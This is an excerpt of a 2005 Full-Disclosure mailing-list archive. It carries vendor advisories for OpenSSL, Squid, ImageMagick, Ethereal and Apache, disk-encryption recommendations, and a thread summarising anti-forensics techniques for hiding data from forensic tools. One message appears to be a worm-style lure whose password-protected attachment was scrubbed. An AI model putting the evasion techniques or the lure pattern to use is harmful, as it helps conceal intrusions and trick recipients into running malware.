f9487c1767b6454d7171b92f87d88bef md5 is available for download from ftp://ftp.sco.com/pub/security/tools 4.7 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: 1) Download the VOL* files to a directory 2) Run the custom command, specify an install from media images, and specify the directory as the location of the images. 5. OpenServer 5.0.7 5.1 Location of Fixed Binaries Maintenance Pack 3 http://www.sco.com/support/update/download/osr507list.html 5.2 Verification MD5 (507mp3_vol.tar) = c927aefdd50b50aca5d29e08c1562aec md5 is available for download from ftp://ftp.sco.com/pub/security/tools 5.3 Installing Fixed Binaries See the Maintenance Pack 3 Release Notes ftp://ftp.sco.com/pub/openserver5/507/mp/mp3/osr507mp3.html or ftp://ftp.sco.com/pub/openserver5/507/mp/mp3/osr507mp3.txt 6. References Specific references for this advisory: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2003-0914 http://www.kb.cert.org/vuls/id/734644 SCO security resources: http://www.sco.com/support/security/index.html SCO security advisories via email http://www.sco.com/support/forums/security.html This security fix closes SCO incidents sr886767 fz528463 erg712478. 7. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. 8. Acknowledgments SCO would like to thank CERT and The Internet Software Consortium. ______________________________________________________________________________ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (SCO/UNIX_SVR5) iD8DBQFB8AGgaqoBO7ipriERAsuLAJ4sg4wrczkp8k/NKEjGAT4SWkKI+ACgnFJo GiBSAz1mV7DOCGMs8N4zpZk= =04MA -----END PGP SIGNATURE----- From martin.pitt at canonical.com Thu Jan 20 19:47:11 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Thu, 20 Jan 2005 20:47:11 +0100 Subject: [Full-Disclosure] [USN-67-1] Squid vulnerabilities Message-ID: <20050120194711.GA31206@box79162.elkhouse.de> =========================================================== Ubuntu Security Notice USN-67-1 January 20, 2005 squid vulnerabilities CAN-2005-0094, CAN-2005-0095, CAN-2005-0096, CAN-2005-0097 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: squid The problem can be corrected by upgrading the affected package to version 2.5.5-6ubuntu0.3. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: infamous41md discovered several Denial of Service vulnerabilities in squid. A malicious Gopher server could crash squid by sending a line bigger than 4096 bytes. (CAN-2005-0094) If squid is configured to send WCPP (Web Cache Communication Protocol) messages to a "home router", an attacker who was able to send UDP packets with a forged source address of this router could crash the erver with a specially crafted WCPP message. (CAN-2005-0095) Previous versions of squid have a memory leak which gradually cause memory exhaustion and eventual termination. (CAN-2005-0096) A remote attacker could crash the server by sending a specially crafted NTLM type 3 packet. (CAN-2005-0097) Source archives: http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5-6ubuntu0.3.diff.gz Size/MD5: 261632 b5eff00520a4a5ae42ea9f6848c19574 http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5-6ubuntu0.3.dsc Size/MD5: 652 98bccdccbd9de758502bf8fedb840605 http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5.orig.tar.gz Size/MD5: 1363967 6c7f3175b5fa04ab5ee68ce752e7b500 Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid-common_2.5.5-6ubuntu0.3_all.deb Size/MD5: 185086 b678138da7fe29c4613cb0dad17a2907 amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squid-cgi_2.5.5-6ubuntu0.3_amd64.deb Size/MD5: 89532 0b85d26fcf6984e283c5114af77c6fd3 http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5-6ubuntu0.3_amd64.deb Size/MD5: 811426 d77e22c9358bcb48356bbe8d10c60119 http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squidclient_2.5.5-6ubuntu0.3_amd64.deb Size/MD5: 70860 c08aa5d1322863bae47c14890c014e52 i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squid-cgi_2.5.5-6ubuntu0.3_i386.deb Size/MD5: 88038 106d4406e488ee4f77148cb95e75bb5f http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5-6ubuntu0.3_i386.deb Size/MD5: 726832 24384d77f74454fa88f616162008eafd http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squidclient_2.5.5-6ubuntu0.3_i386.deb Size/MD5: 69580 985f64a429db845fbc5919ff58c00eeb powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squid-cgi_2.5.5-6ubuntu0.3_powerpc.deb Size/MD5: 88972 4668dc70768e79ef115f04636c200502 http://security.ubuntu.com/ubuntu/pool/main/s/squid/squid_2.5.5-6ubuntu0.3_powerpc.deb Size/MD5: 794288 8b93b8d27a758f52e84f783148744263 http://security.ubuntu.com/ubuntu/pool/universe/s/squid/squidclient_2.5.5-6ubuntu0.3_powerpc.deb Size/MD5: 70358 829f568b638019de48ade7f646c134e6 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050120/7f3eba0d/attachment.bin From jmark2099 at yahoo.com Thu Jan 20 15:55:27 2005 From: jmark2099 at yahoo.com (j mark) Date: Thu, 20 Jan 2005 07:55:27 -0800 (PST) Subject: [Full-Disclosure] Re: [ISN] Book Review: Forensic Discovery Message-ID: <20050120155527.36384.qmail@web42108.mail.yahoo.com> Anthony Zboralski wrote: > > On 19 Jan 2005, at 14:55, InfoSec News wrote: > >> >> of digital forensics. > > > Source: http://hert.org/story.php/58 > > After reading the review of Dan Farmer and Wietse's Forensic Discovery, you should hear about > The Grugq who got fired from @stake after writing a Phrack Article in which he exposed numerous > flaws in The Coroner's Toolkit by Dan & Wietse. > > Before you read this book, check out the video (bittorrent) of The Grugq on The Art of Defiling and > see how to defeat "industry grade" forensic tools and techniques . > > You can also meet him at a hacker convention near you (in March at BCS2005 in Jakarta, in April > at Black Hat in S'pore and Amsterdam and at HITB2005 Bahrain. > > Video of the Grugq's Speech, The Art of Defiling: > http://www.hert.org/z/grugq.torrent (Courtesy of HITB2004) > > Presentation Slides: > http://packetstormsecurity.com/hitb04/hitb04-grugq.pdf (from HITB2004) > > Phrack article: > http://www.phrack.org/show.php?p=59&a=6 (Phrack 59) > > Grugq's Profile: > http://www.bellua.com/bcs2005/asia05.speakers.html#grugq > > The Grugq has been researching anti-forensics for almost 5 years. He has presented > to the UK's largest forensic practitioner group where he scared Scotland Yard. > Grugq has worked to secure the networks and hosts of global corporations, and > he's also worked for security consulting companies. His work as a security consultant > was cut short temporarily following the publication of an article on anti-forensics. > > P.S. Is it illegal to talk about anti-forensics under the Patriot Act? > > gaius > This article in Phrack is being cited as this guys qualifications for conducting a security seminar? Getting fired for writing an article (an article so clueless --devoid of substance-- as this one) is cited as a good thing (just because it appeared in phrack)? Phrack Editors: please apply some standard in choosing articles, because people do think that having an article published in phrack amounts to something, and mostly your articles are superb (except when you plug articles like this because your friend wrote it) Just because one tool does not check bad cluster, doesn't mean that you can use this method of data hiding to defeat forensics as a whole. Encryption as an anti-forensics technology. Wow. who knew that? Logging to a different Syslog server. Wow. who knew that? Anthony Zboralski: We would expect yot to plug some article with substance when you promote your speaker and conference in a lot of security mailing lists. Oh yeah and you are going to jail if you talk about anti-forensics in US, you stupid promoter. jmark __________________________________ Do you Yahoo!? Yahoo! Mail - 250MB free storage. Do more. Manage less. http://info.mail.yahoo.com/mail_250 From jaervosz at gentoo.org Thu Jan 20 21:46:57 2005 From: jaervosz at gentoo.org (Sune Kloppenborg Jeppesen) Date: Thu, 20 Jan 2005 22:46:57 +0100 Subject: [Full-Disclosure] [ GLSA 200501-26 ] ImageMagick: PSD decoding heap overflow Message-ID: <200501202247.02012.jaervosz@gentoo.org> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-26 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: ImageMagick: PSD decoding heap overflow Date: January 20, 2005 Bugs: #77932 ID: 200501-26 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== ImageMagick is vulnerable to a heap overflow when decoding Photoshop Document (PSD) files, which could lead to arbitrary code execution. Background ========== ImageMagick is a collection of tools to read, write and manipulate images in many formats. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 media-gfx/imagemagick < 6.1.8.8 >= 6.1.8.8 Description =========== Andrei Nigmatulin discovered that a Photoshop Document (PSD) file with more than 24 layers could trigger a heap overflow. Impact ====== An attacker could potentially design a mailicous PSD image file to cause arbitrary code execution with the permissions of the user running ImageMagick. Workaround ========== There is no known workaround at this time. Resolution ========== All ImageMagick users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=media-gfx/imagemagick-6.1.8.8" References ========== [ 1 ] CAN-2005-0005 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0005 [ 2 ] iDEFENSE Advisory http://www.idefense.com/application/poi/display?id=184&type=vulnerabilities Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-26.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050120/c1105de6/attachment.bin From lewk at gentoo.org Thu Jan 20 22:31:54 2005 From: lewk at gentoo.org (Luke Macken) Date: Thu, 20 Jan 2005 17:31:54 -0500 Subject: [Full-Disclosure] [ GLSA 200501-27 ] Ethereal: Multiple vulnerabilities Message-ID: <20050120223154.GA10875@tomservo.ne1.client2.attbi.c> - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 200501-27 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: High Title: Ethereal: Multiple vulnerabilities Date: January 20, 2005 Bugs: #78559 ID: 200501-27 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple vulnerabilities exist in Ethereal, which may allow an attacker to run arbitrary code, crash the program or perform DoS by CPU and disk utilization. Background ========== Ethereal is a feature rich network protocol analyzer. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 net-analyzer/ethereal < 0.10.9 >= 0.10.9 Description =========== There are multiple vulnerabilities in versions of Ethereal earlier than 0.10.9, including: * The COPS dissector could go into an infinite loop (CAN-2005-0006). * The DLSw dissector could cause an assertion, making Ethereal exit prematurely (CAN-2005-0007). * The DNP dissector could cause memory corruption (CAN-2005-0008). * The Gnutella dissector could cause an assertion, making Ethereal exit prematurely (CAN-2005-0009). * The MMSE dissector could free statically-allocated memory (CAN-2005-0010). * The X11 dissector is vulnerable to a string buffer overflow (CAN-2005-0084). Impact ====== An attacker might be able to use these vulnerabilities to crash Ethereal, perform DoS by CPU and disk space utilization or even execute arbitrary code with the permissions of the user running Ethereal, which could be the root user. Workaround ========== For a temporary workaround you can disable all affected protocol dissectors by selecting Analyze->Enabled Protocols... and deselecting them from the list. However, it is strongly recommended to upgrade to the latest stable version. Resolution ========== All Ethereal users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot --verbose ">=net-analyzer/ethereal-0.10.9" References ========== [ 1 ] CAN-2005-0006 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0006 [ 2 ] CAN-2005-0007 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0007 [ 3 ] CAN-2005-0008 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0008 [ 4 ] CAN-2005-0009 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0009 [ 5 ] CAN-2005-0010 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0010 [ 6 ] CAN-2005-0084 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2005-0084 [ 7 ] Ethereal Release Notes http://www.ethereal.com/news/item_20050120_01.html Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-200501-27.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users machines is of utmost importance to us. Any security concerns should be addressed to security at gentoo.org or alternatively, you may file a bug at http://bugs.gentoo.org. License ======= Copyright 2005 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.0 -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050120/bec4a8ea/attachment.bin From please_reply_to_security at sco.com Fri Jan 21 01:44:40 2005 From: please_reply_to_security at sco.com (please_reply_to_security at sco.com) Date: Thu, 20 Jan 2005 17:44:40 -0800 Subject: [Full-Disclosure] UnixWare 7.1.3 UnixWare 7.1.1 : OpenSSL Multiple Vulnerabilities Message-ID: <20050120174440.A10311@caldera.com> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ______________________________________________________________________________ SCO Security Advisory Subject: UnixWare 7.1.3 UnixWare 7.1.1 : OpenSSL Multiple Vulnerabilities Advisory number: SCOSA-2005.7 Issue date: 2005 January 20 Cross reference: sr890283 fz529411 erg712602 CAN-2004-0079 CAN-2004-0081 CAN-2004-0112 ______________________________________________________________________________ 1. Problem Description OpenSSL implements the Secure Sockets Layer (SSL) and Transport Layer Security (TLS) protocols and includes a general purpose cryptographic library. SSL and TLS are commonly used to provide authentication, encryption, integrity, and non-repudiation services to network applications including HTTP, IMAP, POP3, SMTP, and LDAP. The U.K. National Infrastructure Security Co-ordination Centre (NISCC) and the OpenSSL Project have reported several vulnerabilities in the OpenSSL SSL/TLS library (libssl). Any application or system that uses this library may be affected. CERT Vulnerability Note VU#288574 OpenSSL contains null-pointer assignment in do_change_cipher_spec() function The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0079 to this issue. CERT Vulnerability Note VU#465542 OpenSSL does not properly handle unknown message types The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0081 to this issue. CERT Vulnerability Note VU#484726 OpenSSL does not adequately validate length of Kerberos ticket during SSL/TLS handshake. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CAN-2004-0112 to this issue. 2. Vulnerable Supported Versions System Binaries ---------------------------------------------------------------------- UnixWare 7.1.4 Not vulnerable UnixWare 7.1.3 Distribution UnixWare 7.1.1 Distribution 3. Solution The proper solution is to install the latest packages. 4. UnixWare 7.1.3 4.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/UnixWare/SCOSA-2005.7 4.2 Verification MD5 (openssl.pkg) = d2ba4c1dee05dad681b39bfea4d4d7f9 MD5 (openssld.pkg) = 6a737b8d0265e8194f55f39518380bae md5 is available for download from ftp://ftp.sco.com/pub/security/tools 4.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: Download openssl.pkg to the /var/spool/pkg directory # pkgadd -d /var/spool/pkg/openssl.pkg 5. UnixWare 7.1.1 5.1 Location of Fixed Binaries ftp://ftp.sco.com/pub/updates/UnixWare/SCOSA-2005.7 The fixes are also available in SCO UnixWare Release 7.1.1 Maintenance Pack 5 or later. See ftp://ftp.sco.com/pub/unixware7/uw711pk/uw711mp5.txt 5.2 Verification MD5 (openssl.pkg) = d2ba4c1dee05dad681b39bfea4d4d7f9 MD5 (openssld.pkg) = 6a737b8d0265e8194f55f39518380bae md5 is available for download from ftp://ftp.sco.com/pub/security/tools 5.3 Installing Fixed Binaries Upgrade the affected binaries with the following sequence: Download openssld.pkg to the /var/spool/pkg directory # pkgadd -d /var/spool/pkg/openssld.pkg 6. References Specific references for this advisory: http://www.us-cert.gov/cas/techalerts/TA04-078A.html http://www.kb.cert.org/vuls/id/288574 http://www.kb.cert.org/vuls/id/484726 http://www.kb.cert.org/vuls/id/465542 http://www.openssl.org/news/secadv_20040317.txt http://www.uniras.gov.uk/vuls/2004/224012/index.htm http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0079 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0112 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0081 SCO security resources: http://www.sco.com/support/security/index.html SCO security advisories via email http://www.sco.com/support/forums/security.html This security fix closes SCO incidents sr890283 fz529411 erg712602. 7. Disclaimer SCO is not responsible for the misuse of any of the information we provide on this website and/or through our security advisories. Our advisories are a service to our customers intended to promote secure installation and use of SCO products. 8. Acknowledgments SCO would like to thank The U.K. National Infrastructure Security Co-ordination Centre (NISCC) and the OpenSSL team. ______________________________________________________________________________ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (SCO/UNIX_SVR5) iD8DBQFB8E4YaqoBO7ipriERAiQxAKChI85vzJI+OSVxR3MCd+pwjISclACbBbNu o5meMgN1rcRaBZ7jb7K6sXA= =11K1 -----END PGP SIGNATURE----- From list at nolog.org Fri Jan 21 01:31:58 2005 From: list at nolog.org (list at nolog.org) Date: Fri, 21 Jan 2005 08:31:58 +0700 Subject: [Full-Disclosure] :) Message-ID: I don't bite, weah! ..btw, "82668" is a password for archive -------------- next part -------------- A non-text attachment was scrubbed... Name: Attach.zip Type: application/octet-stream Size: 0 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050121/7a57462c/attachment.obj From dk at pwarchitects.com Fri Jan 21 01:41:44 2005 From: dk at pwarchitects.com (dk) Date: Thu, 20 Jan 2005 19:41:44 -0600 Subject: [Full-Disclosure] harddisk encryption In-Reply-To: <41F005D3.2070406@pwarchitects.com> References: <31972.1106213279@www38.gmx.net> <41EFF4C5.2070809@ebay.com> <41F005D3.2070406@pwarchitects.com> Message-ID: <41F05DD8.6070309@pwarchitects.com> dk wrote: > Indeed, crypto, sans re viewable source, is questionable if for no other > reason. Am I (or you) personally capable of reviewing all that source? > Maybe, maybe not. But it offers that opportunity to a community that I > can become familiar with to make and informed decision. Forgot to mention: http://sourceforge.net/projects/loop-aes/ ...if you ever decide to use Linux as a host OS. No kernel patches required (optional). Just the stipulation of module loading & the internal LOOP driver (loop.c) to be a module. So a Kernel recompile is necessary if this is not set already and a patch-n-recompile of some net-utils files {mount,umount,losetup & swapon) Very nice, very flexible, well maintained. -- dk From andfarm at teknovis.com Fri Jan 21 03:02:13 2005 From: andfarm at teknovis.com (Andrew Farmer) Date: Thu, 20 Jan 2005 19:02:13 -0800 Subject: [Full-Disclosure] harddisk encryption In-Reply-To: <41F05DD8.6070309@pwarchitects.com> References: <31972.1106213279@www38.gmx.net> <41EFF4C5.2070809@ebay.com> <41F005D3.2070406@pwarchitects.com> <41F05DD8.6070309@pwarchitects.com> Message-ID: On 20 Jan 2005, at 17:41, dk wrote: > dk wrote: >> Indeed, crypto, sans re viewable source, is questionable if for no >> other reason. Am I (or you) personally capable of reviewing all that >> source? Maybe, maybe not. But it offers that opportunity to a >> community that I can become familiar with to make and informed >> decision. > > Forgot to mention: > > http://sourceforge.net/projects/loop-aes/ > > ...if you ever decide to use Linux as a host OS. > No kernel patches required (optional). > Just the stipulation of module loading & the internal LOOP driver > (loop.c) to be a module. So a Kernel recompile is necessary if this is > not set already and a patch-n-recompile of some net-utils files > {mount,umount,losetup & swapon) > > Very nice, very flexible, well maintained. http://www.saout.de/misc/dm-crypt/ (Device-mapper crypto target - significantly easier to use than loopback, supported in kernels >= 2.6.4, and uses cryptoAPI. You can even use it for swap!) -------------- next part -------------- A non-text attachment was scrubbed... Name: PGP.sig Type: application/pgp-signature Size: 186 bytes Desc: This is a digitally signed message part Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050120/f09d2b5e/attachment.bin From martin.pitt at canonical.com Fri Jan 21 03:45:38 2005 From: martin.pitt at canonical.com (Martin Pitt) Date: Fri, 21 Jan 2005 04:45:38 +0100 Subject: [Full-Disclosure] [sb] [USN-65-1] Apache utility script vulnerability Message-ID: <000001c4ff6b$abc42ac0$0100a8c0@hubercomp.local> =========================================================== Ubuntu Security Notice USN-65-1 January 19, 2005 apache vulnerabilities http://bugs.debian.org/290974 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 4.10 (Warty Warthog) The following packages are affected: apache-utils The problem can be corrected by upgrading the affected package to version 1.3.31-6ubuntu0.4. In general, a standard system upgrade is sufficient to effect the necessary changes. Details follow: Javier Fern?ndez-Sanguino Pe?a noticed that the "check_forensic" script created temporary files in an insecure manner. This could allow a symbolic link attack to create or overwrite arbitrary files with the privileges of the user invoking the program. Source archives: http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache_1.3.31-6ubuntu0.4.diff.gz Size/MD5: 369655 7ec465eece404f6ddd1d45a8292b1fe6 http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache_1.3.31-6ubuntu0.4.dsc Size/MD5: 1102 9165d920ac5f269f5abf886ee392613c http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache_1.3.31.orig.tar.gz Size/MD5: 3104170 ca475fbb40087eb157ec51334f260d1b Architecture independent packages: http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-dev_1.3.31-6ubuntu0.4_all.deb Size/MD5: 329424 f05e89912051a57e3a0f4b439d813bcf http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-doc_1.3.31-6ubuntu0.4_all.deb Size/MD5: 1186432 b7490f2099b1bd5b512cb2dba9fc3fcf amd64 architecture (Athlon64, Opteron, EM64T Xeon) http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-common_1.3.31-6ubuntu0.4_amd64.deb Size/MD5: 873090 4de4ad38fa7021c3666349134f3f3939 http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-dbg_1.3.31-6ubuntu0.4_amd64.deb Size/MD5: 9131010 8dfb8f02f5cd07223069a08c3156a015 http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-perl_1.3.31-6ubuntu0.4_amd64.deb Size/MD5: 520354 81033c5317f6d50b69a796df54f56f90 http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-ssl_1.3.31-6ubuntu0.4_amd64.deb Size/MD5: 510288 f986a142140d051b3d2590e7add86a54 http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-utils_1.3.31-6ubuntu0.4_amd64.deb Size/MD5: 271078 bcb58f9b5a102f4109a0e6bd7b80a1c1 http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache_1.3.31-6ubuntu0.4_amd64.deb Size/MD5: 397916 6f039537fd6365bd5627a6004f445e45 http://security.ubuntu.com/ubuntu/pool/universe/a/apache/libapache-mod-perl_1.29.0.2-14ubuntu0.1_amd64.deb Size/MD5: 491306 86f3c435f888d78e6a03456af0eb7101 i386 architecture (x86 compatible Intel/AMD) http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-common_1.3.31-6ubuntu0.4_i386.deb Size/MD5: 838326 6e8c39afade6e140502592602c180f81 http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-dbg_1.3.31-6ubuntu0.4_i386.deb Size/MD5: 9080282 3555a952ded8b3370691d8585163587a http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-perl_1.3.31-6ubuntu0.4_i386.deb Size/MD5: 494050 62489a77ba210430b8803aea05be968c http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-ssl_1.3.31-6ubuntu0.4_i386.deb Size/MD5: 483720 5cc3c2014e2b30b1a0906c2748d6bef3 http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-utils_1.3.31-6ubuntu0.4_i386.deb Size/MD5: 264974 65e6aed85dd4ac7c1485f8eae951788f http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache_1.3.31-6ubuntu0.4_i386.deb Size/MD5: 377152 55d3b656566987d140d2677d1c0de61c http://security.ubuntu.com/ubuntu/pool/universe/a/apache/libapache-mod-perl_1.29.0.2-14ubuntu0.1_i386.deb Size/MD5: 484640 da71290705c6f6f6faf1d6dc254bf4a6 powerpc architecture (Apple Macintosh G3/G4/G5) http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-common_1.3.31-6ubuntu0.4_powerpc.deb Size/MD5: 917362 652d1cd08236a6557e44d87b67e4dd16 http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-dbg_1.3.31-6ubuntu0.4_powerpc.deb Size/MD5: 9225702 033e91323439c25a000b604423d71d46 http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-perl_1.3.31-6ubuntu0.4_powerpc.deb Size/MD5: 511036 e66e2283e7a70758989198fbf9ebb613 http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache-ssl_1.3.31-6ubuntu0.4_powerpc.deb Size/MD5: 506852 a8bd4a1633e5d6c8ba51d01134fee992 http://security.ubuntu.com/ubuntu/pool/main/a/apache/apache-utils_1.3.31-6ubuntu0.4_powerpc.deb Size/MD5: 278286 b25fd9ebbeeafeeb3867828251218d08 http://security.ubuntu.com/ubuntu/pool/universe/a/apache/apache_1.3.31-6ubuntu0.4_powerpc.deb Size/MD5: 395396 4eafd593de2508a0c574929718476320 http://security.ubuntu.com/ubuntu/pool/universe/a/apache/libapache-mod-perl_1.29.0.2-14ubuntu0.1_powerpc.deb Size/MD5: 488664 74541bd75de68e04a43cf61c3c7a276f -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20050121/8253feb2/attachment.bin From bcs2005 at bellua.com Fri Jan 21 04:20:42 2005 From: bcs2005 at bellua.com (Anthony Zboralski) Date: Fri, 21 Jan 2005 11:20:42 +0700 Subject: [Full-Disclosure] Re: [ISN] Book Review: Forensic Discovery In-Reply-To: <20050120155527.36384.qmail@web42108.mail.yahoo.com> References: <20050120155527.36384.qmail@web42108.mail.yahoo.com> Message-ID: > This article in Phrack is being cited as this guys > qualifications for conducting a security seminar? > Getting fired for writing an article (an article so > clueless --devoid of substance-- as this one) is cited > as a good thing (just because it appeared in phrack)? > Phrack Editors: please apply some standard in choosing > articles, because people do think that having an > article published in phrack amounts to something, and > mostly your articles are superb (except when you plug > articles like this because your friend wrote it) > > Just because one tool does not check bad cluster, > doesn't mean that you can use this method of data > hiding to defeat forensics as a whole. It seems that Dan Farmer and Wieste Venema are less than forthcoming regarding the problems their forensic package, 'The Coronor's Toolkit' (TCT) has had in the past, and still has today. The Phrack 59 article's old! Have you checked the latest slides and articles or watch the grugq's speech before posting your flame bait? http://www.hert.org/z/grugq.torrent A lot of incompetent people buy commercial products like encase or download TCT and improvise themselves "Forensic Experts". In the Art of Defiling, Grugq talks about: * Trivial ways to defeat file system forensic tools, e.g. sanitizing deleted inodes and directory entries * TCT specific issues (some of them have been fixed): incorrect ext2 implementation bad bounds checking lame pseudo codes, and more * Most forensic tools don't look for data in: Journals (e.g. ext3 journal), directory files, OLE2 files, bad blocks, inode reserved space, null directory entries, file system meta data structures (reserve space, padding) * Simple ways to avoid using the file system, e.g. using gdb stubs (libgdbrpc) http://www.phrack.org/show.php?p=62&a=8 and ul_exec() http://www.hcunix.net/papers/grugq_ul_exec.txt > Anthony Zboralski: We would expect yot to plug some > article with substance when you promote your speaker > and conference in a lot of security mailing lists. Oh > yeah and you are going to jail if you talk about > anti-forensics in US, you stupid promoter. If the PATRIOT ACT makes discussing these problems illegal!? Is the future of security research in jeopardy because only a one sided view can legally be presented to us. Anthony -- Bellua Cyber Security Asia 2005 - http://www.bellua.com/bcs2005 21-22 March - The Workshops - 23-24 March - The Conference bcs2005 at bellua.com - Phone: +62213918330 HP:+628159102495 From frank at knobbe.us Fri Jan 21 06:23:40 2005 From: frank at knobbe.us (Frank Knobbe) Date: Fri, 21 Jan 2005 00:23:40 -0600 Subject: [Full-Disclosure] harddisk encryption In-Reply-To: <31972.1106213279@www38.gmx.net> References: <31972.1106213279@www38.gmx.net> Message-ID: <1106288620.478.8.camel@localhost> On Thu, 2005-01-20 at 10:27 +0100, Lentila de Vultur wrote: > i'm evaluating a software that performs harddisk encryption for deploying in > my company. the software in question is utimaco safeguard easy v4.10 > (www.utimaco.com) running on w2k. > > i am interested in communitty's oppinion about this product. Since others are still throwing in their recommendations, let me add mine as well. Back in the days when I used Windows, I really liked HardDisk Encryption Plus from PCGuardian (www.pcguardian.com). It is a full-disk encryption program (or just a partition if you like). My old NT4 laptop was encrypted with it. No problems. Nice admin and recovery features. But what I really liked was the transparent encryption of the whole disk which you unlocked with a password on boot-up. I believe they still offer eval versions. Feel free to give them a try. Regards, Frank -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 187 bytes Desc: This is a digitally signed message part Url : 